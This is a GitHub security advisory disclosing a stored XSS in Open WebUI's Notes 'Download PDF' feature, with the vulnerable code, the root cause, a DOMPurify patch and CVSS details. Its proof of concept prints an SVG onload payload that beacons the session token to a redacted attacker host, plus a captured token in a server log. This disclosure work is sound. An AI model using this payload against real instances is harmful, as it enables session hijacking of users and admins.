Skip to content

Open WebUI Vulnerable to Stored DOM XSS via Note 'Download PDF'

High severity GitHub Reviewed Published Dec 4, 2025 in open-webui/open-webui • Updated Dec 5, 2025

Package

npm open-webui (npm)

Affected versions

<= 0.6.36

Patched versions

0.6.37

Description

Summary

A Stored XSS vulnerability has been discovered in Open-WebUI's Notes PDF download functionality.
An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF.

This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files.

Details

Vulnerability Location

File: src/lib/components/notes/utils.ts
Function: downloadPdf()
Vulnerable Code (Line 35):

const contentNode = document.createElement('div');

contentNode.innerHTML = html;  // Direct assignment without DOMPurify sanitization

node.appendChild(contentNode);
document.body.appendChild(node);

Root Cause

  1. Incomplete TipTap Editor Configuration

    • Open-WebUI only uses TipTap StarterKit
    • No Schema definition for dangerous tags like SVG, Script
    • Unknown HTML tags are stored as raw HTML
  2. Missing Sanitization During PDF Generation

    • note.data.content.html is directly assigned to innerHTML
    • No DOMPurify or other sanitization
    • Stored malicious HTML executes as-is

PoC

Environment

  • Open-WebUI latest version (v0.6.36)
  • Admin account

Step 1: Create Malicious Markdown File

Filename: token_stealer.md

<svg onload="navigator.sendBeacon('https://redacted/steal',localStorage.token)"></svg>

navigator.sendBeacon() was used to bypass CORS.

Step 2: Import to Notes

  1. Login to Open-WebUI
  2. Click "Notes" in the left menu
  3. Drag and drop the Markdown file
  4. Note is automatically created

Step 3: Trigger PDF Download

  1. Access Notes menu (/notes)
  2. Click on the right side of the uploaded note
  3. Select "Download""PDF document (.pdf)"
  4. JavaScript executes

Step 4: Verify Token Theft

Attacker's server log:

POST /steal HTTP/1.1
Host: redacted
Content-Type: text/plain;charset=UTF-8
Content-Length: 145

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMjE4ZmU4LTU2MTktNGEzNS05MWZkLTM2MzA3NDU1NGFkNCJ9.zOicE5c5FJ3ZOc9j6T2xHU-K6dbz-s1ib_hIG4LayFw

And Simple PoC alert(1)

Filename: simple_poc.md

<svg onload="alert(1)"></svg>

image


Impact

CVSS 3.1 Score: 8.7 (High)

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Vulnerability Type

CWE-79: Cross-site Scripting (XSS)
CWE-116: Improper Encoding or Escaping of Output

Affected Users

  • All Open-WebUI users
  • Especially users utilizing the Notes feature

Attack Scenario

1. Attacker shares malicious note (.md file) in the community
2. Victim uploads the shared note (.md file)
3. Victim downloads as PDF
4. XSS vulnerability triggers
5. Victim's session (localStorage.token) is stolen

Recommended Patch

// src/lib/components/notes/utils.ts:35
import DOMPurify from 'dompurify';

const contentNode = document.createElement('div');

// Sanitize with DOMPurify
contentNode.innerHTML = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: [
        'p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
        'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote', 'table', 'thead',
        'tbody', 'tr', 'td', 'th'
    ],
    ALLOWED_ATTR: ['href', 'class', 'target'],
    FORBID_TAGS: ['svg', 'script', 'iframe', 'object', 'embed', 'style'],
    FORBID_ATTR: ['onload', 'onerror', 'onclick', 'onmouseover', 'onfocus'],
    ALLOW_DATA_ATTR: false
});

node.appendChild(contentNode);

References


References

@tjbck tjbck published to open-webui/open-webui Dec 4, 2025
Published by the National Vulnerability Database Dec 4, 2025
Published to the GitHub Advisory Database Dec 4, 2025
Reviewed Dec 4, 2025
Last updated Dec 5, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

EPSS score

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Improper Encoding or Escaping of Output

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved. Learn more on MITRE.

CVE ID

CVE-2025-65959

GHSA ID

GHSA-8wvc-869r-xfqf

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.